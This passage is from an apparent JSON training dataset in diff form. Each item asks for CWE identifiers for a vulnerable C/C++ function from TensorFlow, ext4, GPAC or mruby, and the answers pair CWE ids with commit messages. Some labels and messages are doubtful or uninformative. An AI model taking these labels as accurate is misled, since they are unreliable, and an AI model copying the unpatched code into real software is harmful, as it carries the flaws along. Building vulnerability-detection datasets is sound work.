shape handle is not set\n    // in outer context, set _Arg node output shape to unknown.\n    if (outer_context->input(index).SameHandle(ShapeHandle())) {\n      VLOG(1) << \"Function instantiation has undefined input shape at \"\n              << \"index: \" << index << \" in the outer inference context.\";\n      node_context->set_output(0, node_context->UnknownShape());\n    } else {\n      node_context->set_output(0, outer_context->input(index));\n    }\n\n    auto* resource = outer_context->input_handle_shapes_and_types(index);\n    if (resource) {\n      node_context->set_output_handle_shapes_and_types(0, *resource);\n    }\n  } else if (StringPiece(node->type_string()) == kRetvalOp) {\n    // Handle special node: function output.\n    // Shapes inferred for these nodes go into the outer inference\n    // context.\n\n    int index;\n    TF_RETURN_IF_ERROR(GetNodeAttr(AttrSlice(node->def()), \"index\", &index));\n\n    if (index < 0 || outer_context->num_outputs() <= index) {\n      return errors::Internal(\n          \"Function instantiation included invalid output index: \", index,\n          \" not in [0, \", outer_context->num_outputs(), \").\");\n    }\n\n    // outer_context outlives node_context, therefore we need to create\n    // a new shape handle owned by outer_context instead.\n    ShapeHandle handle;\n    TensorShapeProto proto;\n    node_context->ShapeHandleToProto(node_context->input(0), &proto);\n    TF_RETURN_IF_ERROR(outer_context->MakeShapeFromShapeProto(proto, &handle));\n    outer_context->set_output(index, handle);\n\n    auto* resource = node_context->input_handle_shapes_and_types(0);\n    if (resource) {\n      outer_context->set_output_handle_shapes_and_types(index, *resource);\n    }\n  }\n\n  return Status::OK();\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416', 'CWE-369'], 'message': 'Fix segmentation fault in shape inference logic.\n\nWhen running shape functions, some functions (such as `MutableHashTableShape`)\nproduce extra output information in the form of a `ShapeAndType` struct.  The\nshapes embedded in this struct are owned by an inference context that is\ncleaned up almost immediately; if the upstream code attempts to access this\nshape information, it can trigger a segfault.\n\n`ShapeRefiner` is mitigating this for normal output shapes by cloning them\n(and thus putting the newly created shape under ownership of an inference\ncontext that will not die), but we were not doing the same for shapes and\ntypes.  This commit fixes that by doing similar logic on output shapes and\ntypes.\n\nPiperOrigin-RevId: 384761124\nChange-Id: I07c0c42d29dfbb55bfa13ec1f09ef825fb0a1a1d'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: ext4_xattr_release_block(handle_t *handle, struct inode *inode,\n\t\t\t struct buffer_head *bh)\n{\n\tstruct mb_cache_entry *ce = NULL;\n\tint error = 0;\n\tstruct mb_cache *ext4_mb_cache = EXT4_GET_MB_CACHE(inode);\n\n\tce = mb_cache_entry_get(ext4_mb_cache, bh->b_bdev, bh->b_blocknr);\n\tBUFFER_TRACE(bh, \"get_write_access\");\n\terror = ext4_journal_get_write_access(handle, bh);\n\tif (error)\n\t\tgoto out;\n\n\tlock_buffer(bh);\n\tif (BHDR(bh)->h_refcount == cpu_to_le32(1)) {\n\t\tea_bdebug(bh, \"refcount now=0; freeing\");\n\t\tif (ce)\n\t\t\tmb_cache_entry_free(ce);\n\t\tget_bh(bh);\n\t\tunlock_buffer(bh);\n\t\text4_free_blocks(handle, inode, bh, 0, 1,\n\t\t\t\t EXT4_FREE_BLOCKS_METADATA |\n\t\t\t\t EXT4_FREE_BLOCKS_FORGET);\n\t} else {\n\t\tle32_add_cpu(&BHDR(bh)->h_refcount, -1);\n\t\tif (ce)\n\t\t\tmb_cache_entry_release(ce);\n\t\t/*\n\t\t * Beware of this ugliness: Releasing of xattr block references\n\t\t * from different inodes can race and so we have to protect\n\t\t * from a race where someone else frees the block (and releases\n\t\t * its journal_head) before we are done dirtying the buffer. In\n\t\t * nojournal mode this race is harmless and we actually cannot\n\t\t * call ext4_handle_dirty_xattr_block() with locked buffer as\n\t\t * that function can call sync_dirty_buffer() so for that case\n\t\t * we handle the dirtying after unlocking the buffer.\n\t\t */\n\t\tif (ext4_handle_valid(handle))\n\t\t\terror = ext4_handle_dirty_xattr_block(handle, inode,\n\t\t\t\t\t\t\t      bh);\n\t\tunlock_buffer(bh);\n\t\tif (!ext4_handle_valid(handle))\n\t\t\terror = ext4_handle_dirty_xattr_block(handle, inode,\n\t\t\t\t\t\t\t      bh);\n\t\tif (IS_SYNC(inode))\n\t\t\text4_handle_sync(handle);\n\t\tdquot_free_block(inode, EXT4_C2B(EXT4_SB(inode->i_sb), 1));\n\t\tea_bdebug(bh, \"refcount now=%d; releasing\",\n\t\t\t  le32_to_cpu(BHDR(bh)->h_refcount));\n\t}\nout:\n\text4_std_error(inode->i_sb, error);\n\treturn;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-241', 'CWE-19'], 'message': 'ext4: convert to mbcache2\n\nThe conversion is generally straightforward. The only tricky part is\nthat xattr block corresponding to found mbcache entry can get freed\nbefore we get buffer lock for that block. So we have to check whether\nthe entry is still valid after getting buffer lock.\n\nSigned-off-by: Jan Kara \nSigned-off-by: Theodore Ts'o '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void isor_reader_get_sample(ISOMChannel *ch)\n{\n\tGF_Err e;\n\tu32 sample_desc_index;\n\tif (ch->sample) return;\n\n\tif (ch->next_track) {\n\t\tch->track = ch->next_track;\n\t\tch->next_track = 0;\n\t}\n\n\tif (ch->to_init) {\n\t\tinit_reader(ch);\n\t\tsample_desc_index = ch->last_sample_desc_index;\n\t} else if (ch->speed < 0) {\n\t\tif (ch->last_state == GF_EOS) {\n\t\t\tch->sample = NULL;\n\t\t\treturn;\n\t\t}\n\n\t\tif (ch->static_sample->IsRAP) {\n\t\t\tch->last_rap_sample_time = ch->sample_time;\n\t\t}\n\n\t\te = gf_isom_get_sample_for_movie_time(ch->owner->mov, ch->track, ch->sample_time + 1, &sample_desc_index, GF_ISOM_SEARCH_FORWARD, &ch->static_sample, &ch->sample_num, NULL);\n\n\t\tif ((e==GF_EOS) || (ch->static_sample->IsRAP)) {\n\t\t\tif (!ch->last_rap_sample_time) {\n\t\t\t\te = GF_EOS;\n\t\t\t} else {\n\t\t\t\te = gf_isom_get_sample_for_movie_time(ch->owner->mov, ch->track, ch->last_rap_sample_time - 1, &sample_desc_index, GF_ISOM_SEARCH_SYNC_BACKWARD, &ch->static_sample, &ch->sample_num, NULL);\n\t\t\t}\n\t\t}\n\n\t\tif (e) {\n\t\t\tif ((e==GF_EOS) && !ch->owner->frag_type) {\n\t\t\t\tch->last_state = GF_EOS;\n\t\t\t}\n\t\t\tch->sample = NULL;\n\t\t\treturn;\n\t\t}\n\t\tch->sample = ch->static_sample;\n\n\t\tif (ch->sample->DTS == ch->sample_time) {\n\t\t\tif (!ch->owner->frag_type) {\n\t\t\t\tch->last_state = GF_EOS;\n\t\t\t}\n\t\t}\n\t\tif (ch->sample) {\n\t\t\tch->sample_time = ch->sample->DTS;\n\t\t}\n\n\t} else if (ch->has_edit_list) {\n\t\tu32 prev_sample = ch->sample_num;\n\t\te = gf_isom_get_sample_for_movie_time(ch->owner->mov, ch->track, ch->sample_time + 1, &sample_desc_index, GF_ISOM_SEARCH_FORWARD, &ch->static_sample, &ch->sample_num, &ch->sample_data_offset);\n\n\t\tif (e == GF_OK) {\n\t\t\tch->sample = ch->static_sample;\n\n\t\t\t/*we are in forced seek mode: fetch all samples before the one matching the sample time*/\n\t\t\tif (ch->edit_sync_frame) {\n\t\t\t\tch->edit_sync_frame++;\n\t\t\t\tif (ch->edit_sync_frame < ch->sample_num) {\n\t\t\t\t\tch->sample = gf_isom_get_sample_ex(ch->owner->mov, ch->track, ch->edit_sync_frame, &sample_desc_index, ch->static_sample, &ch->sample_data_offset);\n\t\t\t\t\tch->sample->DTS = ch->sample_time;\n\t\t\t\t\tch->sample->CTS_Offset = 0;\n\t\t\t\t} else {\n\t\t\t\t\tch->edit_sync_frame = 0;\n\t\t\t\t\tif (ch->sample) ch->sample_time = ch->sample->DTS;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t/*if we get the same sample, figure out next interesting time (current sample + DTS gap to next sample should be a good bet)*/\n\t\t\t\tif (prev_sample == ch->sample_num) {\n\t\t\t\t\tif (ch->owner->frag_type && (ch->sample_num==gf_isom_get_sample_count(ch->owner->mov, ch->track))) {\n\t\t\t\t\t\tch->sample = NULL;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tu32 sample_num = ch->sample_num ? ch->sample_num : 1;\n\n\t\t\t\t\t\tif (sample_num >= gf_isom_get_sample_count(ch->owner->mov, ch->track) ) {\n\t\t\t\t\t\t\t//e = GF_EOS;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tu32 time_diff = gf_isom_get_sample_duration(ch->owner->mov, ch->track, sample_num);\n\t\t\t\t\t\t\te = gf_isom_get_sample_for_movie_time(ch->owner->mov, ch->track, ch->sample_time + time_diff, &sample_desc_index, GF_ISOM_SEARCH_FORWARD, &ch->static_sample, &ch->sample_num, &ch->sample_data_offset);\n\t\t\t\t\t\t\tif (e==GF_OK) {\n\t\t\t\t\t\t\t\tif (ch->sample_num == prev_sample) {\n\t\t\t\t\t\t\t\t\tch->sample_time += time_diff;\n\t\t\t\t\t\t\t\t\tch->sample = NULL;\n\t\t\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tch->sample = ch->static_sample;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t/*we jumped to another segment - if RAP is needed look for closest rap in decoding order and\n\t\t\t\tforce seek mode*/\n\t\t\t\tif (ch->sample && !ch->sample->IsRAP && ch->has_rap && (ch->sample_num != prev_sample+1)) {\n\t\t\t\t\tGF_ISOSample *found = ch->static_sample;\n\t\t\t\t\tu32 samp_num = ch->sample_num;\n\t\t\t\t\tch->sample = NULL;\n\t\t\t\t\te = gf_isom_get_sample_for_movie_time(ch->owner->mov, ch->track, ch->sample_time + 1, &sample_desc_index, GF_ISOM_SEARCH_SYNC_BACKWARD, &ch->static_sample, &ch->sample_num, &ch->sample_data_offset);\n\n\t\t\t\t\tif (e == GF_OK) ch->sample = ch->static_sample;\n\n\t\t\t\t\t/*if no sync point in the past, use the first non-sync for the given time*/\n\t\t\t\t\tif (!ch->sample || !ch->sample->data) {\n\t\t\t\t\t\tch->sample = ch->static_sample = found;\n\t\t\t\t\t\tch->sample_time = ch->sample->DTS;\n\t\t\t\t\t\tch->sample_num = samp_num;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tch->sample = ch->static_sample;\n\t\t\t\t\t\tch->edit_sync_frame = ch->sample_num;\n\t\t\t\t\t\tch->sample->DTS = ch->sample_time;\n\t\t\t\t\t\tch->sample->CTS_Offset = 0;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tif (ch->sample) ch->sample_time = ch->sample->DTS;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} else {\n\t\tBool do_fetch = GF_TRUE;\n\t\tch->sample_num++;\n\n\t\tif (ch->sap_only) {\n\t\t\tBool is_rap = gf_isom_get_sample_sync(ch->owner->mov, ch->track, ch->sample_num);\n\t\t\tif (!is_rap) {\n\t\t\t\tGF_ISOSampleRollType roll_type;\n\t\t\t\tgf_isom_get_sample_rap_roll_info(ch->owner->mov, ch->track, ch->sample_num, &is_rap, &roll_type, NULL);\n\t\t\t\tif (roll_type) is_rap = GF_TRUE;\n\t\t\t}\n\n\t\t\tif (!is_rap) {\n\t\t\t\tdo_fetch = GF_FALSE;\n\t\t\t} else if (ch->sap_only==2) {\n\t\t\t\tch->sap_only = 0;\n\t\t\t}\n\t\t}\n\t\tif (do_fetch) {\n\t\t\tif (ch->owner->nodata) {\n\t\t\t\tch->sample = gf_isom_get_sample_info_ex(ch->owner->mov, ch->track, ch->sample_num, &sample_desc_index, &ch->sample_data_offset, ch->static_sample);\n\t\t\t} else {\n\t\t\t\tch->sample = gf_isom_get_sample_ex(ch->owner->mov, ch->track, ch->sample_num, &sample_desc_index, ch->static_sample, &ch->sample_data_offset);\n\t\t\t}\n\t\t\t/*if sync shadow / carousel RAP skip*/\n\t\t\tif (ch->sample && (ch->sample->IsRAP==RAP_REDUNDANT)) {\n\t\t\t\tch->sample = NULL;\n\t\t\t\tch->sample_num++;\n\t\t\t\tisor_reader_get_sample(ch);\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t}\n\n\t//check scalable track change\n\tif (ch->sample && ch->sample->IsRAP && ch->next_track) {\n\t\tch->track = ch->next_track;\n\t\tch->next_track = 0;\n\t\tch->sample = NULL;\n\t\tisor_reader_get_sample(ch);\n\t\treturn;\n\t}\n\n\tif (!ch->sample) {\n\t\tu32 sample_count = gf_isom_get_sample_count(ch->owner->mov, ch->track);\n\t\tch->sample_data_offset = 0;\n\t\t/*incomplete file - check if we're still downloading or not*/\n\t\tif (gf_isom_get_missing_bytes(ch->owner->mov, ch->track)) {\n\t\t\tch->last_state = GF_ISOM_INCOMPLETE_FILE;\n\t\t\tif (ch->owner->mem_load_mode==2)\n\t\t\t\tch->owner->force_fetch = GF_TRUE;\n\n\t\t\tif (!ch->owner->input_loaded) {\n\t\t\t\tch->last_state = GF_OK;\n\t\t\t\tif (!ch->has_edit_list && ch->sample_num)\n\t\t\t\t\tch->sample_num--;\n\t\t\t} else {\n\t\t\t\tif (ch->sample_num >= gf_isom_get_sample_count(ch->owner->mov, ch->track)) {\n\t\t\t\t\tch->last_state = GF_EOS;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse if (!ch->sample_num\n\t\t         || ((ch->speed >= 0) && (ch->sample_num >= sample_count))\n\t\t         || ((ch->speed < 0) && (ch->sample_time == gf_isom_get_current_tfdt(ch->owner->mov, ch->track) ))\n\t\t        ) {\n\n\t\t\tif (ch->owner->frag_type==1) {\n\t\t\t\t/*if sample cannot be found and file is fragmented, rewind sample*/\n\t\t\t\tif (ch->sample_num) ch->sample_num--;\n\t\t\t\tch->last_state = GF_EOS;\n\t\t\t} else if (ch->last_state != GF_EOS) {\n\t\t\t\tGF_LOG(GF_LOG_DEBUG, GF_LOG_CONTAINER, (\"[IsoMedia] Track #%d end of stream reached\\n\", ch->track));\n\t\t\t\tch->last_state = GF_EOS;\n\t\t\t\tif (ch->sample_num>sample_count) ch->sample_num = sample_count;\n\t\t\t} else {\n\t\t\t\tif (ch->sample_num>sample_count) ch->sample_num = sample_count;\n\t\t\t}\n\t\t} else {\n\t\t\te = gf_isom_last_error(ch->owner->mov);\n\t\t\tGF_LOG((e==GF_ISOM_INCOMPLETE_FILE) ? GF_LOG_DEBUG : GF_LOG_WARNING, GF_LOG_DASH, (\"[IsoMedia] Track #%d fail to fetch sample %d / %d: %s\\n\", ch->track, ch->sample_num, gf_isom_get_sample_count(ch->owner->mov, ch->track), gf_error_to_string(e) ));\n\t\t}\n\t\treturn;\n\t}\n\n\tif (sample_desc_index != ch->last_sample_desc_index) {\n\t\tif (!ch->owner->stsd) {\n\t\t\t//we used sample entry 1 by default to setup, if no active prev sample (edit list might trigger this)\n\t\t\t//and new sample desc is 1, do not reconfigure\n\t\t\tif (!ch->last_sample_desc_index && (sample_desc_index==1)) {\n\n\t\t\t} else {\n\t\t\t\tch->needs_pid_reconfig = GF_TRUE;\n\t\t\t}\n\t\t}\n\t\tch->last_sample_desc_index = sample_desc_index;\n\t}\n\n\tch->last_state = GF_OK;\n\tch->au_duration = gf_isom_get_sample_duration(ch->owner->mov, ch->track, ch->sample_num);\n\n\tch->sap_3 = GF_FALSE;\n\tch->sap_4_type = 0;\n\tch->roll = 0;\n\tch->set_disc = ch->owner->clock_discontinuity ? 2 : 0;\n\tch->owner->clock_discontinuity = 0;\n\n\tif (ch->sample) {\n\t\tgf_isom_get_sample_rap_roll_info(ch->owner->mov, ch->track, ch->sample_num, &ch->sap_3, &ch->sap_4_type, &ch->roll);\n\n\t\t/*still seeking or not ?\n\t\t 1- when speed is negative, the RAP found is \"after\" the seek point in playback order since we used backward RAP search: nothing to do\n\t\t 2- otherwise set DTS+CTS to start value\n\t\t */\n\t\tif ((ch->speed < 0) || (ch->start <= ch->sample->DTS + ch->sample->CTS_Offset)) {\n\t\t\tch->dts = ch->sample->DTS;\n\t\t\tch->cts = ch->sample->DTS + ch->sample->CTS_Offset;\n\t\t\tch->seek_flag = 0;\n\t\t} else {\n\t\t\tch->cts = ch->start;\n\t\t\tch->seek_flag = 1;\n\t\t\tch->dts = ch->start;\n\t\t}\n\n\t\tif (ch->end && (ch->end < ch->sample->DTS + ch->sample->CTS_Offset + ch->au_duration)) {\n\t\t\tGF_LOG(GF_LOG_DEBUG, GF_LOG_DASH, (\"[IsoMedia] End of Channel \"LLD\" (CTS \"LLD\")\\n\", ch->end, ch->sample->DTS + ch->sample->CTS_Offset));\n\t\t\tch->sample = NULL;\n\t\t\tch->last_state = GF_EOS;\n\t\t\tch->playing = 2;\n\t\t\treturn;\n\t\t}\n\t}\n\n\tif (ch->owner->last_sender_ntp && ch->cts==ch->owner->cts_for_last_sender_ntp) {\n\t\tch->sender_ntp = ch->owner->last_sender_ntp;\n\t\tch->ntp_at_server_ntp = ch->owner->ntp_at_last_sender_ntp;\n\t} else if (ch->owner->last_sender_ntp && ch->dts==ch->owner->cts_for_last_sender_ntp) {\n\t\tch->sender_ntp = ch->owner->last_sender_ntp;\n\t\tch->ntp_at_server_ntp = ch->owner->ntp_at_last_sender_ntp;\n\t} else {\n\t\tch->sender_ntp = ch->ntp_at_server_ntp = 0;\n\t}\n\n\tif (!ch->sample_num) return;\n\n\tgf_isom_get_sample_flags(ch->owner->mov, ch->track, ch->sample_num, &ch->isLeading, &ch->dependsOn, &ch->dependedOn, &ch->redundant);\n\n\tif (ch->is_encrypted) {\n\t\t/*in case of CENC: we write sample auxiliary information to slh->sai; its size is in saiz*/\n\t\tif (gf_isom_is_cenc_media(ch->owner->mov, ch->track, ch->last_sample_desc_index)) {\n\t\t\tisor_update_cenc_info(ch, GF_FALSE);\n\n\t\t} else if (gf_isom_is_media_encrypted(ch->owner->mov, ch->track, ch->last_sample_desc_index)) {\n\t\t\tch->pck_encrypted = GF_TRUE;\n\t\t} else {\n\t\t\tch->pck_encrypted = GF_FALSE;\n\t\t}\n\t}\n\tif (ch->sample && ch->sample->nb_pack)\n\t\tch->sample_num += ch->sample->nb_pack-1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703', 'CWE-835'], 'message': 'fixed #1876'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: mrb_vm_exec(mrb_state *mrb, const struct RProc *proc, const mrb_code *pc)\n{\n  /* mrb_assert(MRB_PROC_CFUNC_P(proc)) */\n  const mrb_irep *irep = proc->body.irep;\n  const mrb_pool_value *pool = irep->pool;\n  const mrb_sym *syms = irep->syms;\n  mrb_code insn;\n  int ai = mrb_gc_arena_save(mrb);\n  struct mrb_jmpbuf *prev_jmp = mrb->jmp;\n  struct mrb_jmpbuf c_jmp;\n  uint32_t a;\n  uint16_t b;\n  uint16_t c;\n  mrb_sym mid;\n  const struct mrb_irep_catch_handler *ch;\n\n#ifdef DIRECT_THREADED\n  static const void * const optable[] = {\n#define OPCODE(x,_) &&L_OP_ ## x,\n#include \"mruby/ops.h\"\n#undef OPCODE\n  };\n#endif\n\n  mrb_bool exc_catched = FALSE;\nRETRY_TRY_BLOCK:\n\n  MRB_TRY(&c_jmp) {\n\n  if (exc_catched) {\n    exc_catched = FALSE;\n    mrb_gc_arena_restore(mrb, ai);\n    if (mrb->exc && mrb->exc->tt == MRB_TT_BREAK)\n      goto L_BREAK;\n    goto L_RAISE;\n  }\n  mrb->jmp = &c_jmp;\n  mrb_vm_ci_proc_set(mrb->c->ci, proc);\n\n#define regs (mrb->c->ci->stack)\n  INIT_DISPATCH {\n    CASE(OP_NOP, Z) {\n      /* do nothing */\n      NEXT;\n    }\n\n    CASE(OP_MOVE, BB) {\n      regs[a] = regs[b];\n      NEXT;\n    }\n\n    CASE(OP_LOADL, BB) {\n      switch (pool[b].tt) {   /* number */\n      case IREP_TT_INT32:\n        regs[a] = mrb_int_value(mrb, (mrb_int)pool[b].u.i32);\n        break;\n      case IREP_TT_INT64:\n#if defined(MRB_INT64)\n        regs[a] = mrb_int_value(mrb, (mrb_int)pool[b].u.i64);\n        break;\n#else\n#if defined(MRB_64BIT)\n        if (INT32_MIN <= pool[b].u.i64 && pool[b].u.i64 <= INT32_MAX) {\n          regs[a] = mrb_int_value(mrb, (mrb_int)pool[b].u.i64);\n          break;\n        }\n#endif\n        goto L_INT_OVERFLOW;\n#endif\n      case IREP_TT_BIGINT:\n#ifdef MRB_USE_BIGINT\n        {\n          const char *s = pool[b].u.str;\n          regs[a] = mrb_bint_new_str(mrb, s+2, (mrb_int)s[0], (mrb_int)s[1]);\n        }\n        break;\n#else\n        goto L_INT_OVERFLOW;\n#endif\n#ifndef MRB_NO_FLOAT\n      case IREP_TT_FLOAT:\n        regs[a] = mrb_float_value(mrb, pool[b].u.f);\n        break;\n#endif\n      default:\n        /* should not happen (tt:string) */\n        regs[a] = mrb_nil_value();\n        break;\n      }\n      NEXT;\n    }\n\n    CASE(OP_LOADI, BB) {\n      SET_FIXNUM_VALUE(regs[a], b);\n      NEXT;\n    }\n\n    CASE(OP_LOADINEG, BB) {\n      SET_FIXNUM_VALUE(regs[a], -b);\n      NEXT;\n    }\n\n    CASE(OP_LOADI__1,B) goto L_LOADI;\n    CASE(OP_LOADI_0,B) goto L_LOADI;\n    CASE(OP_LOADI_1,B) goto L_LOADI;\n    CASE(OP_LOADI_2,B) goto L_LOADI;\n    CASE(OP_LOADI_3,B) goto L_LOADI;\n    CASE(OP_LOADI_4,B) goto L_LOADI;\n    CASE(OP_LOADI_5,B) goto L_LOADI;\n    CASE(OP_LOADI_6,B) goto L_LOADI;\n    CASE(OP_LOADI_7, B) {\n    L_LOADI:\n      SET_FIXNUM_VALUE(regs[a], (mrb_int)insn - (mrb_int)OP_LOADI_0);\n      NEXT;\n    }\n\n    CASE(OP_LOADI16, BS) {\n      SET_FIXNUM_VALUE(regs[a], (mrb_int)(int16_t)b);\n      NEXT;\n    }\n\n    CASE(OP_LOADI32, BSS) {\n      SET_INT_VALUE(mrb, regs[a], (int32_t)(((uint32_t)b<<16)+c));\n      NEXT;\n    }\n\n    CASE(OP_LOADSYM, BB) {\n      SET_SYM_VALUE(regs[a], syms[b]);\n      NEXT;\n    }\n\n    CASE(OP_LOADNIL, B) {\n      SET_NIL_VALUE(regs[a]);\n      NEXT;\n    }\n\n    CASE(OP_LOADSELF, B) {\n      regs[a] = regs[0];\n      NEXT;\n    }\n\n    CASE(OP_LOADT, B) {\n      SET_TRUE_VALUE(regs[a]);\n      NEXT;\n    }\n\n    CASE(OP_LOADF, B) {\n      SET_FALSE_VALUE(regs[a]);\n      NEXT;\n    }\n\n    CASE(OP_GETGV, BB) {\n      mrb_value val = mrb_gv_get(mrb, syms[b]);\n      regs[a] = val;\n      NEXT;\n    }\n\n    CASE(OP_SETGV, BB) {\n      mrb_gv_set(mrb, syms[b], regs[a]);\n      NEXT;\n    }\n\n    CASE(OP_GETSV, BB) {\n      mrb_value val = mrb_vm_special_get(mrb, syms[b]);\n      regs[a] = val;\n      NEXT;\n    }\n\n    CASE(OP_SETSV, BB) {\n      mrb_vm_special_set(mrb, syms[b], regs[a]);\n      NEXT;\n    }\n\n    CASE(OP_GETIV, BB) {\n      regs[a] = mrb_iv_get(mrb, regs[0], syms[b]);\n      NEXT;\n    }\n\n    CASE(OP_SETIV, BB) {\n      mrb_iv_set(mrb, regs[0], syms[b], regs[a]);\n      NEXT;\n    }\n\n    CASE(OP_GETCV, BB) {\n      mrb_value val;\n      val = mrb_vm_cv_get(mrb, syms[b]);\n      regs[a] = val;\n      NEXT;\n    }\n\n    CASE(OP_SETCV, BB) {\n      mrb_vm_cv_set(mrb, syms[b], regs[a]);\n      NEXT;\n    }\n\n    CASE(OP_GETIDX, B) {\n      mrb_value va = regs[a], vb = regs[a+1];\n      switch (mrb_type(va)) {\n      case MRB_TT_ARRAY:\n        if (!mrb_integer_p(vb)) goto getidx_fallback;\n        regs[a] = mrb_ary_entry(va, mrb_integer(vb));\n        break;\n      case MRB_TT_HASH:\n        va = mrb_hash_get(mrb, va, vb);\n        regs[a] = va;\n        break;\n      case MRB_TT_STRING:\n        switch (mrb_type(vb)) {\n        case MRB_TT_INTEGER:\n        case MRB_TT_STRING:\n        case MRB_TT_RANGE:\n          va = mrb_str_aref(mrb, va, vb, mrb_undef_value());\n          regs[a] = va;\n          break;\n        default:\n          goto getidx_fallback;\n        }\n        break;\n      default:\n      getidx_fallback:\n        mid = MRB_OPSYM(aref);\n        goto L_SEND_SYM;\n      }\n      NEXT;\n    }\n\n    CASE(OP_SETIDX, B) {\n      c = 2;\n      mid = MRB_OPSYM(aset);\n      SET_NIL_VALUE(regs[a+3]);\n      goto L_SENDB_SYM;\n    }\n\n    CASE(OP_GETCONST, BB) {\n      mrb_value v = mrb_vm_const_get(mrb, syms[b]);\n      regs[a] = v;\n      NEXT;\n    }\n\n    CASE(OP_SETCONST, BB) {\n      mrb_vm_const_set(mrb, syms[b], regs[a]);\n      NEXT;\n    }\n\n    CASE(OP_GETMCNST, BB) {\n      mrb_value v = mrb_const_get(mrb, regs[a], syms[b]);\n      regs[a] = v;\n      NEXT;\n    }\n\n    CASE(OP_SETMCNST, BB) {\n      mrb_const_set(mrb, regs[a+1], syms[b], regs[a]);\n      NEXT;\n    }\n\n    CASE(OP_GETUPVAR, BBB) {\n      mrb_value *regs_a = regs + a;\n      struct REnv *e = uvenv(mrb, c);\n\n      if (e && b < MRB_ENV_LEN(e)) {\n        *regs_a = e->stack[b];\n      }\n      else {\n        *regs_a = mrb_nil_value();\n      }\n      NEXT;\n    }\n\n    CASE(OP_SETUPVAR, BBB) {\n      struct REnv *e = uvenv(mrb, c);\n\n      if (e) {\n        mrb_value *regs_a = regs + a;\n\n        if (b < MRB_ENV_LEN(e)) {\n          e->stack[b] = *regs_a;\n          mrb_write_barrier(mrb, (struct RBasic*)e);\n        }\n      }\n      NEXT;\n    }\n\n    CASE(OP_JMP, S) {\n      pc += (int16_t)a;\n      JUMP;\n    }\n    CASE(OP_JMPIF, BS) {\n      if (mrb_test(regs[a])) {\n        pc += (int16_t)b;\n        JUMP;\n      }\n      NEXT;\n    }\n    CASE(OP_JMPNOT, BS) {\n      if (!mrb_test(regs[a])) {\n        pc += (int16_t)b;\n        JUMP;\n      }\n      NEXT;\n    }\n    CASE(OP_JMPNIL, BS) {\n      if (mrb_nil_p(regs[a])) {\n        pc += (int16_t)b;\n        JUMP;\n      }\n      NEXT;\n    }\n\n    CASE(OP_JMPUW, S) {\n      a = (uint32_t)((pc - irep->iseq) + (int16_t)a);\n      CHECKPOINT_RESTORE(RBREAK_TAG_JUMP) {\n        struct RBreak *brk = (struct RBreak*)mrb->exc;\n        mrb_value target = mrb_break_value_get(brk);\n        mrb_assert(mrb_integer_p(target));\n        a = (uint32_t)mrb_integer(target);\n        mrb_assert(a >= 0 && a < irep->ilen);\n      }\n      CHECKPOINT_MAIN(RBREAK_TAG_JUMP) {\n        ch = catch_handler_find(mrb, mrb->c->ci, pc, MRB_CATCH_FILTER_ENSURE);\n        if (ch) {\n          /* avoiding a jump from a catch handler into the same handler */\n          if (a < mrb_irep_catch_handler_unpack(ch->begin) || a >= mrb_irep_catch_handler_unpack(ch->end)) {\n            THROW_TAGGED_BREAK(mrb, RBREAK_TAG_JUMP, proc, mrb_fixnum_value(a));\n          }\n        }\n      }\n      CHECKPOINT_END(RBREAK_TAG_JUMP);\n\n      mrb->exc = NULL; /* clear break object */\n      pc = irep->iseq + a;\n      JUMP;\n    }\n\n    CASE(OP_EXCEPT, B) {\n      mrb_value exc;\n\n      if (mrb->exc == NULL) {\n        exc = mrb_nil_value();\n      }\n      else {\n        switch (mrb->exc->tt) {\n        case MRB_TT_BREAK:\n        case MRB_TT_EXCEPTION:\n          exc = mrb_obj_value(mrb->exc);\n          break;\n        default:\n          mrb_assert(!\"bad mrb_type\");\n          exc = mrb_nil_value();\n          break;\n        }\n        mrb->exc = NULL;\n      }\n      regs[a] = exc;\n      NEXT;\n    }\n    CASE(OP_RESCUE, BB) {\n      mrb_value exc = regs[a];  /* exc on stack */\n      mrb_value e = regs[b];\n      struct RClass *ec;\n\n      switch (mrb_type(e)) {\n      case MRB_TT_CLASS:\n      case MRB_TT_MODULE:\n        break;\n      default:\n        {\n          mrb_value exc;\n\n          exc = mrb_exc_new_lit(mrb, E_TYPE_ERROR,\n                                    \"class or module required for rescue clause\");\n          mrb_exc_set(mrb, exc);\n          goto L_RAISE;\n        }\n      }\n      ec = mrb_class_ptr(e);\n      regs[b] = mrb_bool_value(mrb_obj_is_kind_of(mrb, exc, ec));\n      NEXT;\n    }\n\n    CASE(OP_RAISEIF, B) {\n      mrb_value exc = regs[a];\n      if (mrb_break_p(exc)) {\n        mrb->exc = mrb_obj_ptr(exc);\n        goto L_BREAK;\n      }\n      mrb_exc_set(mrb, exc);\n      if (mrb->exc) {\n        goto L_RAISE;\n      }\n      NEXT;\n    }\n\n    CASE(OP_SSEND, BBB) {\n      regs[a] = regs[0];\n      insn = OP_SEND;\n    }\n    goto 